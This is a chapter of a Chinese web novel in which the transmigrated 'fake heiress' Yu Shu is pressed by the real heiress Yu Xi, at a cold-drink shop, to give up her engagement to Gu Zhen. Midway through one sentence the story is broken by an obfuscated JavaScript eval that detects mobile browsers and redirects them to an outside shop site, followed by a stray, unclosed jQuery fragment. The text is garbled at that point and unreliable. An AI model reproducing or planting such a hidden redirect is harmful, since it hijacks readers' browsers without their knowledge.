“我只和你培养感情。”
郁殊没想到顾帧说话居然是这种风格,一句一句,主动得让她招架不住。
她觉得浑身轻飘飘的,像陷在云端里。
郁殊安心地住下,第二天,她开始扔掉拐杖走路。
刘妈在一旁看着郁殊,对于她要自己走路这件事格外紧张。
郁殊才走了两分钟,沙发上的手机就响了起来。
她想往沙发上走去,刘妈连忙开口:“夫人,你别急,我去给弄拿手机。”
郁殊站在原地,乖巧地应是。
她看着刘妈拿起手机,表情疑惑:“谁呀这是?夫人,是陌生号码。”
这年代还有人打电话?
郁殊第一反应就是:不会是诈骗电话吧?
她开口道:“外地号码吗?直接挂了吧。”
刘妈摇摇头:“不是诶,本地的。”她将电话递给郁殊,然后伸出手扶着郁殊往沙发上走。
郁殊看着没有特殊标识的电话,上滑接通:“喂?”
对面自报家门:“你好,我是郁昔。”
郁殊有些意外,她不知道郁昔这通电话的目的,任由刘妈扶着她坐到沙发上:“有什么事吗?”
电话里的郁昔顿了顿:“现在时间还早,你有空吗?我们找个地方聊聊?”
郁殊看了一眼时间,确实很早,才两点出头:“有空是有空,但是,你也知道我的腿不太方便。”
郁昔似乎很怕她拒绝,连忙开口道:“我来接你。”
郁殊没拒绝:“好吧,那你到了再给我打电话。”
刘妈看郁殊挂了电话,好奇道:“夫人要出门?”
郁殊心事重重,轻轻地应了一声。
“夫人,要不我跟你去吧,你的腿还没好。”刘妈的脸上全是关心。
郁殊犹豫许久,还是摇了摇头,她和郁昔的事情,只适合两人单聊:“我坐轮椅就行,刘妈你在家就好。”
刘妈还是不太放心:“太太几点回来?要不要我去接你?”
郁殊站起身,安慰道:“好啦,刘妈,需要的时候我给你打电话。”
她走到衣帽间换了条能出门的白色连衣裙,确认自己的穿着没什么问题后,她重新坐回沙发上。
郁殊将手机捏在手里,思考着郁昔找她的目的。
她现在什么都没有,自己名下的财产都转移给了郁昔。
唯一拥有的,就是顾帧站在她身边。
所以,郁昔的目的显而易见。
她解锁了手机,纠结要不要给顾帧发个消息以防万一,最后她还是将手机锁屏。
郁昔好歹是一本小说的女主,不至于伤害她吧。
她将自己的后背靠在沙发上,刚被沙发包裹住,手机就响了起来。
郁殊才接通,郁昔的声音响起:“我在你们小区门口。”
郁殊顿了顿,从她下楼到小区门口还有好大一段距离,控制着轮椅过去还需要一段时间。
郁殊还没开口,郁昔又道:“不是我不到楼下接你,我的车没登记,进不了小区。”
行吧。
只能她控制着轮椅到小区门口了。
“那你得多等我一下,我到门口需要时间。”
郁昔应了一声:“好。”
郁殊站起身,走了几步坐到轮椅上:“刘妈,我出门了。”
刘妈围着围裙从厨房出来:“夫人,您还回来吃晚饭吗?”
郁殊丢下一句:“还不确定。”就出了门。
小区的路郁殊很熟,腿伤的时候顾帧推着她转过很多圈。
小区门口只停了一辆白色的跑车,看见她出门,跑车的门打开。
郁昔穿着一条浅蓝色的连衣裙走下车:“你能自己上车吗?”
郁殊点点头,她有些意外,郁昔居然是自己开车来的,她的印象里,豪门的人不都喜欢配一个司机吗?
她控制着轮椅移动到副驾驶,坐上车后,她长按轮椅按键,轮椅自动折叠。
郁殊看向车旁的郁昔,开口道:“可以帮我把轮椅放上车吗?”
郁昔没说话,默默地走到郁殊身旁,将折叠好的轮椅放到后排座位。
郁昔绕了一圈回到驾驶位,等她坐上车后,车门自动关上。
郁殊有些拿捏不准和郁昔的相处方式,跑车发动后,她直直地看着道路。
郁昔开车的时候很专注,也不放音乐,整个车子安静得不行,郁殊连呼吸都放缓了。
看着郁昔将车开到一条陌生的道路上,郁殊终于忍不住开口:“我们要去哪?”
郁昔目视前方,话语简洁:“冷饮店。”
郁殊不再说话了,她们俩的事情确实应该找一个合适的地方好好聊。
到了目的地,郁昔将车停稳后,还记得将郁殊的轮椅从后座上拿下来。
郁殊长按按键,折叠轮椅重新恢复到正常的样子,她下车,坐到轮椅上,然后控制着轮椅往店里走。
郁昔提前定了包间,直接往包间里走。
两人在位置上坐下,服务员拿了菜单进门。
郁昔点单之后又将菜单递给郁殊,她看着琳琅满目的饮品,点了一个茉莉雪芽绵绵冰,然后将菜单递回给服务员。
服务员才离开包间,郁殊就觉得和郁昔待在一起有些尴尬,她开口问道:“你想和我说什么?”
郁昔顿了顿,抬头回复道:“你不清楚吗?”
郁殊是肯定不会承认自己知道她的目的的,她装傻道:“不清楚。”
郁昔将手上的手机放到桌上,语气正式道:“我的目的显而易见。”
郁昔顿了顿,直视着顾帧的眼睛:“顾帧。”
郁昔的表情格外自信,她似乎已经觉得自己胜券在握了。
郁殊没想到郁昔说起顾帧居然如此理直气壮,她难得的说不出话来。
郁昔继续开口道:“你觉得呢?”
郁殊不能再沉默,开口道:“顾帧是一个自由的人,由不得我们俩选择。”
郁昔轻笑一声,正巧服务员端了冰饮进门,两人的对话停住,郁殊看着放在自己面前的绵绵冰,浅绿色的冰山上点缀了几朵白色的茉莉花,周边放了许多白色和透明的小圆子,还未入口,就觉得十分清凉。
她拿起勺子,挖了一勺浅绿色的绵绵冰喂进嘴里,青涩的茶味
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703508|205932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在她嘴里化开。
不甜,很清爽。
能装修包间的饮品店果然有点东西。
服务员不知什么时候出了房间,郁昔并没动她面前的饮品,继续开口道:“顾帧自然是一个自由的意思,我的话,指的是顾家和郁家的婚约。”
郁殊想起昨晚顾帧的反应,她声音不大,语气却带着一丝不容置疑的坚定:“顾帧不同意。”
郁昔冷静的表情一下子就变了:“郁殊,昨天顾帧说话的时候我也听见了,你不必用他的话挡在你面前。现在是我和你聊。”
郁殊放下勺子,有些不太明白她的意思:“你的诉求到底是什么?”
郁昔坐直了身子:“顾帧因为你不同意换联姻对象。”
郁昔几乎是从牙齿里挤出这句话:“顾帧现在对你有感情。”
郁殊看着咬牙切齿的郁昔,不愧是女主,再生气都不会罔顾事实。
下一秒,郁昔沉声开口:“但是,你们俩的感情是建立在订婚到现在的相处之中。”
“郁殊。”
郁殊听到自己的名字抬头和郁昔对视,等着她的下一句话。
“你别忘了,你占据了我的身份二十多年,原本,这个订婚也应该是我的。”
郁殊无法反驳,自己是假千金并且被郁家养育了二十多年是她无法反驳的事实。
结果郁昔的话没停,她直接抛下一枚深水炸弹:“你觉得顾帧喜欢你,可是,你能保证,如果订婚的人是我,在同样的相处下,顾帧不会喜欢上我吗?”
郁殊表情没变,但是心里却因为这句话翻江倒海。
郁昔的话戳中了她心里最不敢触碰的地方,顾帧只是因为长期相处喜欢上了自己,而书里的剧情也写了,他和郁昔也是日久生情。
郁昔说的是对的,原本的剧情里,顾帧本来就会喜欢上她。
她看着面前的绵绵冰一言不发,外部的绵绵冰因为温度已经开始融化,浅绿色的液体流到了盘子底部,将白色的小圆子染成了绿色。
郁昔很没有耐心,她看着郁殊一直盯着绵绵冰不说话,又补充道:“郁殊,我在福利院生活到成年,你知道福利院的生活吗?你不知道,你在郁家享受了二十多年,怎么会知道吃不饱穿不暖只能努力向上爬的生活呢?”
“你欠了我二十多年的富贵生活,我都没让你赔我。”
“我只不过,让你把和顾帧未婚妻的位置还给我而已,你还能继续做郁家的孩子,难道不是你赚了?”
郁殊第一次在郁昔身上看见如此狰狞的表情,她的字字句句都戳中了她的内心,尽管她不是原主,可是她继承了原主的身份。
连她自己都觉得,郁昔真的很不容易,她甚至不是在一个正常的家庭里长大,而是在福利院里,靠着自己努力才上了大学,然后以优秀的成绩入职了物行。
郁昔的话没问题,郁殊拿起勺子,将中间的绵绵冰一勺戳倒,绿色的冰和底部的液体混合,整盘绵绵冰乱七八糟,不再如刚端上桌一般漂亮。
郁昔的语气更着急了:“郁殊!”
郁殊没抬头,只是拿着勺子不停地戳面前的绵绵冰:“好,我答应你。”